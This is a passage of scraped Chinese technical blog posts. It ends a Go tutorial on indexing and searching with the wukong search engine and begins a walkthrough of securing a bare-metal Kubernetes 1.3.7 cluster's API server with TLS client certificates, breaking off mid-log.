fmt.Printf(\u0026quot;%#v\\n\u0026quot;, searcher.Search(types.SearchRequest{Text: \u0026quot;巴萨 梅西\u0026quot;})) } 执行这个程序：\n$go run example2_index_search.go 2016/12/06 22:48:37 载入sego词典 ./dict/dictionary.txt 2016/12/06 22:48:41 sego词典载入完毕 2016/12/06 22:48:42 recover index number: 3 types.SearchResponse{Tokens:[]string{\u0026quot;巴萨\u0026quot;, \u0026quot;梅西\u0026quot;}, Docs:[]types.ScoredDocument{types.ScoredDocument{DocId:0x1, Scores:[]float32{0}, TokenSnippetLocations:[]int(nil), TokenLocations:[][]int(nil)}}, Timeout:false, NumDocs:1} 该程序成功从前面已经建立好的程序中恢复了索引数据，并针对Search request给出了正确的搜索结果。\n需要注意的是：boltdb采用了flock保证互斥访问底层文件数据的，因此当一个程序打开了boltdb，此时如果有另外一个程序尝试打开相同的boltdb，那么后者将阻塞在open boltdb的环节。\n四、动态增加和删除索引 wukong引擎支持运行时动态增删索引，并实时影响搜索结果。\n我们以上一节建立的持久化索引为基础，启动一个支持索引动态增加的程序：\n//example3.go func main() { searcher.Init(types.EngineInitOptions{ IndexerInitOptions: \u0026amp;types.IndexerInitOptions{ IndexType: types.DocIdsIndex, }, UsePersistentStorage: true, PersistentStorageFolder: \u0026quot;./index\u0026quot;, PersistentStorageShards: 8, SegmenterDictionaries: \u0026quot;./dict/dictionary.txt\u0026quot;, StopTokenFile: \u0026quot;./dict/stop_tokens.txt\u0026quot;, }) defer searcher.Close() searcher.FlushIndex() log.Println(\u0026quot;recover index number:\u0026quot;, searcher.NumDocumentsIndexed()) docId = searcher.NumDocumentsIndexed() os.MkdirAll(\u0026quot;./source\u0026quot;, 0777) go func() { for { var paths []string //update index dynamically time.Sleep(time.Second * 10) var path = \u0026quot;./source\u0026quot; err := filepath.Walk(path, func(path string, f os.FileInfo, err error) error { if f == nil { return err } if f.IsDir() { return nil } fc, err := ioutil.ReadFile(path) if err != nil { fmt.Println(\u0026quot;read file:\u0026quot;, path, \u0026quot;error:\u0026quot;, err) } docId++ fmt.Println(\u0026quot;indexing file:\u0026quot;, path, \u0026quot;... ...\u0026quot;) searcher.IndexDocument(docId, types.DocumentIndexData{Content: string(fc)}, true) fmt.Println(\u0026quot;indexed file:\u0026quot;, path, \u0026quot; ok\u0026quot;) paths = append(paths, path) return nil }) if err != nil { fmt.Printf(\u0026quot;filepath.Walk() returned %v\\n\u0026quot;, err) return } for _, p := range paths { err := os.Remove(p) if err != nil { fmt.Println(\u0026quot;remove file:\u0026quot;, p, \u0026quot; error:\u0026quot;, err) continue } fmt.Println(\u0026quot;remove file:\u0026quot;, p, \u0026quot; ok!\u0026quot;) } if len(paths) != 0 { // 等待索引刷新完毕 fmt.Println(\u0026quot;flush index....\u0026quot;) searcher.FlushIndex() fmt.Println(\u0026quot;flush index ok\u0026quot;) } } }() for { var s string fmt.Println(\u0026quot;Please input your search keywords:\u0026quot;) fmt.Scanf(\u0026quot;%s\u0026quot;, \u0026amp;s) if s == \u0026quot;exit\u0026quot; { break } fmt.Printf(\u0026quot;%#v\\n\u0026quot;, searcher.Search(types.SearchRequest{Text: s})) } } example3这个程序启动了一个goroutine，定期到source目录下读取要建立索引的源文档，并实时更新索引数据。main routine则等待用户输入关键词，并通过引擎搜索返回结果。我们来Run一下这个程序：\n$go run example3.go 2016/12/06 23:07:17 载入sego词典 ./dict/dictionary.txt 2016/12/06 23:07:21 sego词典载入完毕 2016/12/06 23:07:21 recover index number: 3 Please input your search keywords: 梅西 types.SearchResponse{Tokens:[]string{\u0026quot;梅西\u0026quot;}, Docs:[]types.ScoredDocument{types.ScoredDocument{DocId:0x1, Scores:[]float32{0}, TokenSnippetLocations:[]int(nil), TokenLocations:[][]int(nil)}}, Timeout:false, NumDocs:1} Please input your search keywords: 战斗机 types.SearchResponse{Tokens:[]string{\u0026quot;战斗机\u0026quot;}, Docs:[]types.ScoredDocument{types.ScoredDocument{DocId:0x2, Scores:[]float32{0}, TokenSnippetLocations:[]int(nil), TokenLocations:[][]int(nil)}}, Timeout:false, NumDocs:1} Please input your search keywords: 可以看到：基于当前已经恢复的索引，我们可以正确搜索到”梅西”、”战斗机”等关键词所在的文档。\n这时我们如果输入：“球王”，我们得到的搜索结果如下：\nPlease input your search keywords: 球王 types.SearchResponse{Tokens:[]string{\u0026quot;球王\u0026quot;}, Docs:[]types.ScoredDocument{}, Timeout:false, NumDocs:0} 没有任何文档得以匹配。\n没关系，现在我们就来增加一个文档，里面包含球王等关键字。我们创建一个文档: soccerking.txt，内容为：\n《球王马拉多纳》是一部讲述世界上被公认为现代足球坛上最伟大的传奇足球明星迭戈·马拉多纳的影片。他出身于清贫家庭，九岁展露过人才华，十一岁加入阿根廷足球青少年队，十六岁便成为阿根廷甲级联赛最年轻的\u0026gt;球员。1986年世界杯，他为阿根廷队射入足球史上最佳入球，并带领队伍勇夺金杯。他的一生充满争议、大起大落，球迷与人们对他的热爱却从未减少过，生命力旺盛的他多次从人生谷底重生。 将soccerking.txt移动到source目录中，片刻后，可以看到程序输出以下日志：\nindexing file: source/soccerking.txt ... ... indexed file: source/soccerking.txt ok remove file: source/soccerking.txt ok! flush index.... flush index ok 我们再尝试搜索”球王”、”马拉多纳”等关键词：\nPlease input your search keywords: 球王 types.SearchResponse{Tokens:[]string{\u0026quot;球王\u0026quot;}, Docs:[]types.ScoredDocument{types.ScoredDocument{DocId:0x4, Scores:[]float32{0}, TokenSnippetLocations:[]int(nil), TokenLocations:[][]int(nil)}}, Timeout:false, NumDocs:1} Please input your search keywords: 马拉多纳 types.SearchResponse{Tokens:[]string{\u0026quot;马拉多纳\u0026quot;}, Docs:[]types.ScoredDocument{types.ScoredDocument{DocId:0x4, Scores:[]float32{0}, TokenSnippetLocations:[]int(nil), TokenLocations:[][]int(nil)}}, Timeout:false, NumDocs:1} 可以看到，这回engine正确搜索到了对应的Doc。\n五、分布式索引和搜索 从前面的章节内容，我们大致了解了wukong的工作原理。wukong将索引存储于boltdb中，每个wukong instance独占一份数据，无法共享给其他wukong instance。当一个node上的内存空间不足以满足数据量需求时，需要将wukong引擎进行分布式部署以实现分布式索引和搜索。关于这点，wukong官方提供了一段方案描述：\n分布式搜索的原理如下： 当文档数量较多无法在一台机器内存中索引时，可以将文档按照文本内容的hash值裂分(sharding)，不同块交由不同服务器索引。在查找时同一请求分发到所有裂分服务器上，然后将所有服务器返回的 结果归并重排序作为最终搜索结果输出。 为了保证裂分的均匀性，建议使用Go语言实现的Murmur3 hash函数: https://github.com/huichen/murmur 按照上面的原理很容易用悟空引擎实现分布式搜索（每个裂分服务器运行一个悟空引擎），但这样的分布式系统多数是高度定制的，比如任务的调度依赖于分布式环境，有时需要添加额外层的服务器以 均衡负载 实质就是索引和搜索的分片处理。目前我们项目所在阶段尚不需这样一个分布式wukong，因此，这里也没有实战经验可供分享。\n六、wukong引擎的局限 有了上面的内容介绍，你基本可以掌握和使用wukong引擎了。不过在选用wukong引擎之前，你务必要了解wukong引擎的一些局限：\n1、开发不活跃，资料较少，社区较小\nwukong引擎基本上是作者一个人的项目，社区参与度不高，资料很少。另外由于作者正在创业，忙于造轮子^_^，因此wukong项目更新的频度不高。\n2、缺少计划和愿景\n似乎作者并没有持续将wukong引擎持续改进和发扬光大的想法和动力。Feature上也无增加。这点和bleve比起来就要差很多。\n3、查询功能简单，仅支持关键词的AND查询\n如果你要支持灵活多样的全文检索的查询方式，那么当前版本的wukong很可能不适合你。\n4、搜索的准确度基于dictionary.txt的规模\n前面说过，wukong的索引建立和搜索精确度一定程度上取决于分词引擎的分词精确性，这样dictionary.txt文件是否全面，就会成为影响搜索精确度的重要因素。\n5、缺少将索引存储于关系DB中的插件支持\n当前wukong引擎只能将索引持久化存储于文件中，尚无法和MySQL这样的数据库配合索引的存储和查询。\n总之，wukong绝非一个完美的全文搜索引擎，是否选用，要看你所处的context。\n七、小结 选用wukong引擎和我们的项目目前所处的context情况不无关系：我们需要快速实现出一个功能简单却可用的全文搜索服务。也许在后续版本中，对查询方式、数据规模有进一步要求时，就是可能考虑更换引擎的时刻了。bleve、elasticsearch到时候就都会被我们列为考虑对象了。\n本文代码在可在这里下载。\n","permalink":"https://tonybai.com/2016/12/06/an-intro-to-wukong-fulltext-search-engine/","summary":"\u003cp\u003e近期项目中有一个全文索引和全文搜索的业务需求，组内同事在这方面都没啥经验，找一个满足我们需求的开源的\u003ca href=\"https://en.wikipedia.org/wiki/Full-text_search\"\u003e全文搜索引擎\u003c/a\u003e势在必行。我们这一期对全文搜索引擎的需求并不复杂，最主要的是引擎可以很好的支持中文分词、索引和搜索，并能快速实现功能。在全文搜索领域，基于\u003ca href=\"https://lucene.apache.org/\"\u003eApache lucene\u003c/a\u003e的\u003ca href=\"https://github.com/elastic/elasticsearch\"\u003eElasticSearch\u003c/a\u003e舍我其谁，其强大的分布式系统能力、对超大规模数据的支持、友好的Restful API以及近实时的搜索性能都是业内翘楚，并且其开发社区也是相当活跃，资料众多。但也正式由于其体量较大，我们并没有在本期项目中选择使用ElasticSearch，而是挑选了另外一个“fame”不是那么响亮的引擎：\u003ca href=\"https://github.com/huichen/wukong\"\u003ewukong\u003c/a\u003e。\u003c/p\u003e","title":"使用wukong全文搜索引擎"},{"content":"使用kubernetes/cluster/kube-up.sh脚本在装有Ubuntu操作系统的bare metal上搭建的Kubernetes集群并不安全，甚至可以说是“完全不设防的”，这是因为Kubernetes集群的核心组件：kube-apiserver启用了insecure-port。insecure-port背后的api server默认完全信任访问该端口的流量，内部无任何安全机制。并且监听insecure-port的api server bind的insecure-address为0.0.0.0。也就是说任何内外部请求，都可以通过insecure-port端口任意操作Kubernetes集群。我们的平台虽小，但“裸奔”的k8s集群也并不是我们想看到的，适当的安全配置是需要的。\n在本文中，我将和大家一起学习一下Kubernetes提供的安全机制，并通过安全配置调整，实现K8s集群的“有限”安全。\n一、集群现状 我们先来“回顾”一下集群现状，为后续配置调整提供一个可回溯和可比对的“基线”。\n1、Nodes 集群基本信息：\n# kubectl cluster-info Kubernetes master is running at http://10.47.136.60:8080 KubeDNS is running at http://10.47.136.60:8080/api/v1/proxy/namespaces/kube-system/services/kube-dns To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'. 当前集群逻辑上由一个master node和两个worker nodes组成：\n单master： 10.47.136.60 worker nodes： 10.47.136.60和10.46.181.146 # kubectl get node --show-labels=true NAME STATUS AGE LABELS 10.46.181.146 Ready 41d beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubernetes.io/hostname=10.46.181.146 10.47.136.60 Ready 41d beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubernetes.io/hostname=10.47.136.60 2、kubernetes核心组件的启动参数 我们再来明确一下当前集群中各k8s核心组件的启动参数，这些参数决定着组件背后的行为：\nmaster node \u0026amp; worker node1 – 10.47.136.60上：\nroot 22000 1 0 Oct17 ? 03:52:55 /opt/bin/kube-controller-manager --master=127.0.0.1:8080 --root-ca-file=/srv/kubernetes/ca.crt --service-account-private-key-file=/srv/kubernetes/server.key --logtostderr=true root 22021 1 1 Oct17 ? 17:11:15 /opt/bin/kube-apiserver --insecure-bind-address=0.0.0.0 --insecure-port=8080 --etcd-servers=http://127.0.0.1:4001 --logtostderr=true --service-cluster-ip-range=192.168.3.0/24 --admission-control=NamespaceLifecycle,LimitRanger,ServiceAccount,SecurityContextDeny,ResourceQuota --service-node-port-range=30000-32767 --advertise-address=10.47.136.60 --client-ca-file=/srv/kubernetes/ca.crt --tls-cert-file=/srv/kubernetes/server.cert --tls-private-key-file=/srv/kubernetes/server.key root 22121 1 0 Oct17 ? 00:22:30 /opt/bin/kube-scheduler --logtostderr=true --master=127.0.0.1:8080 root 2140405 1 0 Nov15 ? 00:05:26 /opt/bin/kube-proxy --hostname-override=10.47.136.60 --master=http://10.47.136.60:8080 --logtostderr=true root 1912455 1 1 Nov15 ? 03:43:09 /opt/bin/kubelet --hostname-override=10.47.136.60 --api-servers=http://10.47.136.60:8080 --logtostderr=true --cluster-dns=192.168.3.10 --cluster-domain=cluster.local --config= worker node2 – 10.46.181.146上:\nroot 7934 1 1 Nov15 ? 03:06:00 /opt/bin/kubelet --hostname-override=10.46.181.146 --api-servers=http://10.47.136.60:8080 --logtostderr=true --cluster-dns=192.168.3.10 --cluster-domain=cluster.local --config= root 23026 1 0 Nov15 ? 00:04:49 /opt/bin/kube-proxy --hostname-override=10.46.181.146 --master=http://10.47.136.60:8080 --logtostderr=true 从master node的核心组件kube-apiserver 的启动命令行参数也可以看出我们在开篇处所提到的那样：apiserver insecure-port开启，且bind 0.0.0.0:8080，可以任意访问，连basic_auth都没有。当然api server不只是监听这一个端口，在api server源码中，我们可以看到默认情况下，apiserver还监听了另外一个secure port，该端口的默认值是6443，通过lsof命令查看6443端口的监听进程也可以印证这一点：\n//master node上 # lsof -i tcp:6443 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME kube-apis 22021 root 46u IPv6 921529 0t0 TCP *:6443 (LISTEN) 3、私钥文件和公钥证书 通过安装脚本在bare-metal上安装的k8s集群，在master node上你会发现如下文件：\nroot@node1:/srv/kubernetes# ls ca.crt kubecfg.crt kubecfg.key server.cert server.key 这些私钥文件和公钥证书是在k8s(1.3.7)集群安装过程由安装脚本创建的，在kubernetes/cluster/common.sh中你可以发现function create-certs这样一个函数，这些文件就是它创建的。\n# Create certificate pairs for the cluster. # $1: The public IP for the master. # # These are used for static cert distribution (e.g. static clustering) at # cluster creation time. This will be obsoleted once we implement dynamic # clustering. # # The following certificate pairs are created: # # - ca (the cluster's certificate authority) # - server # - kubelet # - kubecfg (for kubectl) # # TODO(roberthbailey): Replace easyrsa with a simple Go program to generate # the certs that we need. # # Assumed vars # KUBE_TEMP # # Vars set: # CERT_DIR # CA_CERT_BASE64 # MASTER_CERT_BASE64 # MASTER_KEY_BASE64 # KUBELET_CERT_BASE64 # KUBELET_KEY_BASE64 # KUBECFG_CERT_BASE64 # KUBECFG_KEY_BASE64 function create-certs { local -r primary_cn=\u0026quot;${1}\u0026quot; ... ... } 简单描述一下这些文件的用途：\n- ca.crt：the cluster's certificate authority，CA证书，即根证书，内置CA公钥，用于验证某.crt文件，是否是CA签发的证书； - server.cert：kube-apiserver服务端公钥数字证书； - server.key：kube-apiserver服务端私钥文件； - kubecfg.crt 和kubecfg.key：按照 create-certs函数注释中的说法：这两个文件是为kubectl访问apiserver[双向证书验证](http://tonybai.com/2015/04/30/go-and-https/)时使用的。 不过，这里我们没有CA的key，无法签发新证书，如果要用这几个文件，那么就仅能限于这几个文件。我们可以利用kubecfg.crt 和kubecfg.key 作为访问api server的client端的key和crt使用。我们来查看一下这几个文件：\n查看ca.crt：\n#openssl x509 -noout -text -in ca.crt ... ... Certificate: Data: Version: 3 (0x2) Serial Number: 16946557986148168970 (0xeb2e44b3a1ebb50a) Signature Algorithm: sha256WithRSAEncryption Issuer: CN=10.47.136.60@1476362758 Validity Not Before: Oct 13 12:45:58 2016 GMT Not After : Oct 11 12:45:58 2026 GMT Subject: CN=10.47.136.60@1476362758 ... .. 查看server.cert：\n... Data: Version: 3 (0x2) Serial Number: 1 (0x1) Signature Algorithm: sha256WithRSAEncryption Issuer: CN=10.47.136.60@1476362758 Validity Not Before: Oct 13 12:45:59 2016 GMT Not After : Oct 11 12:45:59 2026 GMT Subject: CN=kubernetes-master ... 查看kubecfg.crt：\n... Certificate: Data: Version: 3 (0x2) Serial Number: 2 (0x2) Signature Algorithm: sha256WithRSAEncryption Issuer: CN=10.47.136.60@1476362758 Validity Not Before: Oct 13 12:45:59 2016 GMT Not After : Oct 11 12:45:59 2026 GMT Subject: CN=kubecfg ... 再来验证一下server.cert和kubecfg.crt是否是ca.crt签发的：\n# openssl verify -CAfile ca.crt kubecfg.crt kubecfg.crt: OK # openssl verify -CAfile ca.crt server.cert server.cert: OK 在前面的apiserver的启动参数展示中，我们已经看到kube-apiserver使用了ca.crt, server.cert和server.key：\n/opt/bin/kube-apiserver --insecure-bind-address=0.0.0.0 --insecure-port=8080 --etcd-servers=http://127.0.0.1:4001 --logtostderr=true --service-cluster-ip-range=192.168.3.0/24 --admission-control=NamespaceLifecycle,LimitRanger,ServiceAccount,SecurityContextDeny,ResourceQuota --service-node-port-range=30000-32767 --advertise-address=10.47.136.60 --client-ca-file=/srv/kubernetes/ca.crt --tls-cert-file=/srv/kubernetes/server.cert --tls-private-key-file=/srv/kubernetes/server.key 在后续章节中，我们还会详细说明这些密钥和公钥证书在K8s集群安全中所起到的作用。\n二、集群环境 还是那句话，Kubernetes在active development中，老版本和新版本的安全机制可能有较大变动，本篇中的配置方案和步骤都是针对一定环境有效的，我们的环境如下：\nOS： Ubuntu 14.04.4 LTS Kernel：3.19.0-70-generic #78~14.04.1-Ubuntu SMP Fri Sep 23 17:39:18 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux Docker： # docker version Client: Version: 1.12.2 API version: 1.24 Go version: go1.6.3 Git commit: bb80604 Built: Tue Oct 11 17:00:50 2016 OS/Arch: linux/amd64 Server: Version: 1.12.2 API version: 1.24 Go version: go1.6.3 Git commit: bb80604 Built: Tue Oct 11 17:00:50 2016 OS/Arch: linux/amd64 Kubernetes集群：1.3.7 私有镜像仓库：阿里云镜像仓库 三、目标 目前，我们尚不具备一步迈向“绝对安全”的能力，在目标设定时，我们的一致想法是在当前阶段“有限安全”的K8s集群更适合我们。在这一原则下，我们针对不同情况提出不同的目标设定。\n前面说过，k8s针对insecure port(–insecure-bind-address=0.0.0.0 –insecure-port=8080)的流量没有任何安全机制限制，相当于k8s“裸奔”。但是走k8s apiserver secure port(–bind-address=0.0.0.0 –secure-port=6443)的流量，将会遇到验证、授权等安全机制的限制。具体使用哪个端口与API server的交互方式，要视情况而定。\n在分情况说明之前，将api server的insecure port的bind address由0.0.0.0改为local address是必须要做的。\n1、Cluster -\u0026gt; Master(apiserver) 从集群到Apiserver的流量也可以细分为几种情况：\na) kubernetes component on master node -\u0026gt; apiserver 由于master node上的components与apiserver运行在一台机器上，因此可以通过local address的insecure-port访问apiserver，无需走insecure port。从现状中当前master上的component组件的启动参数来看，目前已经符合要求，于是针对这些components，我们无需再做配置上的调整。\nb) kubernetes component on worker node -\u0026gt; apiserver 目标是实现kubernetes components on worker node和运行于master上的apiserver之间的基于https的双向认证。kubernetes的各个组件均支持在命令行参数中传入tls相关参数，比如ca文件路径，比如client端的cert文件和key等。\nc) componet in pod for kubernetes -\u0026gt; apiserver 像kube dns和kube dashboard这些运行于pod中的k8s 组件也是在k8s cluster范围内调度的，它们可能运行在任何一个worker node上。理想情况下，它们与master上api server的通信也应该是基于一定安全机制的。不过在本篇中，我们暂时不动它们的设置，以免对其他目标的实现造成一定障碍和更多的工作量，在后续文章中，可能会专门将dns和dashboard拿出来做安全加固说明。因此，dns和dashboard在这里仍然使用的是insecure-port：\nroot 10531 10515 0 Nov15 ? 00:03:02 /dashboard --port=9090 --apiserver-host=http://10.47.136.60:8080 root 2018255 2018240 0 Nov15 ? 00:03:50 /kube-dns --domain=cluster.local. --dns-port=10053 --kube-master-url=http://10.47.136.60:8080 d) user service in pod -\u0026gt; apiserver 我们的集群管理程序也是以service的形式运行在k8s cluster中的，这些程序如何访问apiserver才是我们关心的重点，我们希望管理程序通过secure-port，在一定的安全机制下与apiserver交互。\n2、Master(apiserver) -\u0026gt; Cluster apiserver作为client端访问Cluster，在k8s文档中，这个访问路径主要包含两种情况：\na) apiserver与各个node上kubelet交互，采集Pod的log；\nb) apiserver通过自身的proxy功能访问node、pod以及集群中的各种service。\n在“有限安全”的原则下，我们暂不考虑这种情况下的安全机制。\n四、Kubernetes的安全机制 kube-apiserver是整个kubernetes集群的核心，无论是kubectl还是通过api管理集群，最终都会落到与kube-apiserver的交互，apiserver是集群管理命令的入口。kube-apiserver同时监听两个端口：insecure-port和secure-port。之前提到过：通过insecure-port进入apiserver的流量可以有控制整个集群的全部权限；而通过secure-port的流量将经过k8s的安全机制的重重考验，这也是这一节我们重要要说明的。insecure-port的存在一般是为了集群bootstrap或集群开发调试使用的。官方文档建议：集群外部流量都应该走secure port。insecure-port可通过firewall rule使外部流量unreachable。\n下面这幅官方图示准确解释了通过secure port的流量将要通过的“安全关卡”：\n我们可以看到外界到APIServer的请求先后经过了：\n安全通道(tls) -\u0026gt; Authentication(身份验证) -\u0026gt; Authorization（授权）-\u0026gt; Admission Control(入口条件控制) 安全通道：即基于tls的https的安全通道建立，对流量进行加密，防止嗅探、身份冒充和篡改；\nAuthentication：即身份验证，这个环节它面对的输入是整个http request。它负责对来自client的请求进行身份校验，支持的方法包括：client证书验证（https双向验证）、basic auth、普通token以及jwt token(用于serviceaccount)。APIServer启动时，可以指定一种Authentication方法，也可以指定多种方法。如果指定了多种方法，那么APIServer将会逐个使用这些方法对客户端请求进行验证，只要请求数据通过其中一种方法的验证，APIServer就会认为Authentication成功；\nAuthorization：授权。这个阶段面对的输入是http request context中的各种属性，包括：user、group、request path（比如：/api/v1、/healthz、/version等）、request verb(比如：get、list、create等)。APIServer会将这些属性值与事先配置好的访问策略(access policy）相比较。APIServer支持多种authorization mode，包括AlwaysAllow、AlwaysDeny、ABAC、RBAC和Webhook。APIServer启动时，可以指定一种authorization mode，也可以指定多种authorization mode，如果是后者，只要Request通过了其中一种mode的授权，那么该环节的最终结果就是授权成功。\nAdmission Control：从技术的角度看，Admission control就像a chain of interceptors（拦截器链模式），它拦截那些已经顺利通过authentication和authorization的http请求。http请求沿着APIServer启动时配置的admission control chain顺序逐一被拦截和处理，如果某个interceptor拒绝了该http请求，那么request将会被直接reject掉，而不是像authentication或authorization那样有继续尝试其他interceptor的机会。\n五、实现安全传输通道（https)与身份校验(authentication) 在建立安全传输通道、身份校验环节，我们根据”目标“设定一节中的分类，也分为三种情况：\na) 运行于master上的核心k8s components走insecure port，这个暂不用修改配置；\nb) worker node上的k8s组件配置通过insecure-port访问，并采用https双向认证的身份验证机制；\nc) pod in k8s访问apiserver，通过https+ basic auth的方式进行身份验证。\nAPIServer直接使用了集群创建时创建的ca.crt、server.cert和server.key，由于没有ca.key，所以我们只能直接利用其它两个文件: kubecfg.key和kubecfg.crt作为客户端的私钥文件和公钥证书。当然你也可以手动重新创建ca，并将apiserver使用的.key、.crt以及各个components的client.key和client.crt都生成一份，并用你生成的Ca签发。这里我们就偷个懒儿了。\n在开始之前，我们再来看看apiserver的启动参数：\nroot 22021 1 1 Oct17 ? 17:11:15 /opt/bin/kube-apiserver --insecure-bind-address=0.0.0.0 --insecure-port=8080 --etcd-servers=http://127.0.0.1:4001 --logtostderr=true --service-cluster-ip-range=192.168.3.0/24 --admission-control=NamespaceLifecycle,LimitRanger,ServiceAccount,SecurityContextDeny,ResourceQuota --service-node-port-range=30000-32767 --advertise-address=10.47.136.60 --client-ca-file=/srv/kubernetes/ca.crt --tls-cert-file=/srv/kubernetes/server.cert --tls-private-key-file=/srv/kubernetes/server.key 由于之前简述了Kubernetes的安全机制，于是我们对这些参数又有了进一步认识\nhttps安全通道建立阶段：端口6443(通过 /opt/bin/kube-apiserver --help查看options说明可以得到)，公钥证书server.cert ，私钥文件：server.key。 Authentication阶段：从当前启动参数中，我们仅能看到一种机制：--client-ca-file=/srv/kubernetes/ca.crt，也就是client证书校验机制。apiserver会用/srv/kubernetes/ca.crt对client端发过来的client.crt进行验证。 Authorization阶段：通过 /opt/bin/kube-apiserver --help查看options说明可以得到：--authorization-mode=\u0026quot;AlwaysAllow\u0026quot;，也就是说在这一环节，所有Request都可以顺利通过。 Admission Control阶段：apiserver指定了“NamespaceLifecycle,LimitRanger,ServiceAccount,SecurityContextDeny,ResourceQuota”这样一个interceptor链。 我们首先来测试一下通过kubecfg.key和kubecfg.crt访问APIServer的insecure-port，验证一下kubecfg.key和kubecfg.crt作为client端私钥文件和公钥证书的可行性：\n# curl https://10.47.136.60:6443/version --cert /srv/kubernetes/kubecfg.crt --key /srv/kubernetes/kubecfg.key --cacert /srv/kubernetes/ca.crt { \u0026quot;major\u0026quot;: \u0026quot;1\u0026quot;, \u0026quot;minor\u0026quot;: \u0026quot;3\u0026quot;, \u0026quot;gitVersion\u0026quot;: \u0026quot;v1.3.7\u0026quot;, \u0026quot;gitCommit\u0026quot;: \u0026quot;a2cba278cba1f6881bb0a7704d9cac6fca6ed435\u0026quot;, \u0026quot;gitTreeState\u0026quot;: \u0026quot;clean\u0026quot;, \u0026quot;buildDate\u0026quot;: \u0026quot;2016-09-12T23:08:43Z\u0026quot;, \u0026quot;goVersion\u0026quot;: \u0026quot;go1.6.2\u0026quot;, \u0026quot;compiler\u0026quot;: \u0026quot;gc\u0026quot;, \u0026quot;platform\u0026quot;: \u0026quot;linux/amd64\u0026quot; } 接下来，我们就来开始调整k8s配置。\n第一个场景：components on worker node -\u0026gt; master worker node上有两个k8s components：kubelet和kube-proxy，当前它们的启动参数为：\nroot 7934 1 1 Nov15 ? 03:33:35 /opt/bin/kubelet --hostname-override=10.46.181.146 --api-servers=http://10.47.136.60:8080 --logtostderr=true --cluster-dns=192.168.3.10 --cluster-domain=cluster.local --config= root 8140 1 0 14:59 ? 00:00:00 /opt/bin/kube-proxy --hostname-override=10.46.181.146 --master=http://10.47.136.60:8080 --logtostderr=true 我们将ca.crt、kubecfg.key和kubecfg.crt scp到其他各个Worker node的/srv/kubernetes目录下：\nroot@node1:/srv/kubernetes# scp ca.crt root@10.46.181.146:/srv/kubernetes ca.crt 100% 1220 1.2KB/s 00:00 root@node1:/srv/kubernetes# scp kubecfg.crt root@10.46.181.146:/srv/kubernetes kubecfg.crt 100% 4417 4.3KB/s 00:00 root@node1:/srv/kubernetes# scp kubecfg.key root@10.46.181.146:/srv/kubernetes kubecfg.key 在worker node: 10.46.181.146上： # ls -l total 16 -rw-r----- 1 root root 1220 Nov 25 15:51 ca.crt -rw------- 1 root root 4417 Nov 25 15:51 kubecfg.crt -rw------- 1 root root 1708 Nov 25 15:51 kubecfg.key 创建worker node上kubelet和kube-proxy所要使用的config文件：/root/.kube/config\n/root/.kube/config apiVersion: v1 kind: Config preferences: {} users: - name: kubecfg user: client-certificate: /srv/kubernetes/kubecfg.crt client-key: /srv/kubernetes/kubecfg.key clusters: - cluster: certificate-authority: /srv/kubernetes/ca.crt name: ubuntu contexts: - context: cluster: ubuntu user: kubecfg name: ubuntu current-context: ubuntu 这个文件参考了master node上的/root/.kube/config文件的格式，你也可以在master node上使用kubectl config view查看config文件内容：\n# kubectl config view apiVersion: v1 clusters: - cluster: insecure-skip-tls-verify: true server: http://10.47.136.60:8080 name: ubuntu contexts: - context: cluster: ubuntu user: ubuntu name: ubuntu current-context: ubuntu kind: Config preferences: {} users: - name: ubuntu user: password: xxxxxA username: admin Worker node上/root/.kube/config中的user.name使用的是kubecfg，这也是在前面查看kubecfg.crt时，kubecfg.crt在/CN域中使用的值。\n接下来我们来修改worker node上的/etc/default/kubelet文件：\nKUBELET_OPTS=\u0026quot; --hostname-override=10.46.181.146 --api-servers=https://10.47.136.60:6443 --logtostderr=true --cluster-dns=192.168.3.10 --cluster-domain=cluster.local --kubeconfig=/root/.kube/config\u0026quot; #KUBELET_OPTS=\u0026quot; --hostname-override=10.46.181.146 --api-servers=http://10.47.136.60:8080 --logtostderr=true --cluster-dns=192.168.3.10 --cluster-domain=cluster.local --config= \u0026quot; 在worker node上重启kubelet并查看/var/log/upstart/kubelet.log：\n# service kubelet restart kubelet stop/waiting kubelet start/running, process 9716 ///var/log/upstart/kubelet.log ... ... I1125 16:12:26.332652 9716 server.go:784] Watching apiserver W1125 16:12:26.338581 9716 kubelet.go:572] Hairpin mode set to \u0026quot;promiscuous-bridge\u0026quot; but configureCBR0 is false, falling back to \u0026quot;hairpin-veth\u0026quot; I1125 16:12:26.338641 9716 kubelet.go:393] Hairpin mode set to \u0026quot;hairpin-veth\u0026quot; I1125 16:12:26.366600 9716 docker_manager.go:235] Setting dockerRoot to /var/lib/docker I1125 16:12:26.367067 9716 server.go:746] Started kubelet v1.3.7 E1125 16:12:26.369508 9716 kubelet.go:954] Image garbage collection failed: unable to find data for container / I1125 16:12:26.370534 9716 fs_resource_analyzer.go:66] Starting FS ResourceAnalyzer I1125 16:12:26.370567 9716 status_manager.go:123] Starting to sync pod status with apiserver I1125 16:12:26.370601 9716 kubelet.go:2501] Starting kubelet main sync loop. I1125 16:12:26.370632 9716 kubelet.go:2510] skipping pod synchronization - [network state unknown container runtime is down] I1125 16:12:26.370981 9716 server.go:117] Starting to listen on 0.0.0.0:10250 I1125 16:12:26.384336 9716 volume_manager.go:227] Starting Kubelet Volume Manager I1125 16:12:26.480387 9716 factory.go:295] Registering Docker factory I1125 16:12:26.480483 9716 factory.go:54] Registering systemd factory I1125 16:12:26.481446 9716 factory.go:86] Registering Raw factory I1125 16:12:26.482888 9716 manager.go:1072] Started watching for new ooms in manager I1125 16:12:26.484242 9716 oomparser.go:200] OOM parser using kernel log file: \u0026quot;/var/log/kern.log\u0026quot; I1125 16:12:26.485330 9716 manager.go:281] Starting recovery of all containers I1125 16:12:26.562959 9716 kubelet.go:1213] Node 10.46.181.146 was previously registered I1125 16:12:26.712150 9716 manager.go:286] Recovery completed 一次点亮！\n再来修改worker node上kube-proxy的配置：/etc/default/kube-proxy:\n// /etc/default/kube-proxy KUBE_PROXY_OPTS=\u0026quot; --hostname-override=10.46.181.146 --master=https://10.47.136.60:6443 --logtostderr=true --kubeconfig=/root/.kube/config\u0026quot; #KUBE_PROXY_OPTS=\u0026quot; --hostname-override=10.46.181.146 --master=http://10.47.136.60:8080 --logtostderr=true \u0026quot; 在worker node上重启kube-proxy并查看/var/log/upstart/kube-proxy.log：\n# service kube-proxy restart kube-proxy stop/waiting kube-proxy start/running, process 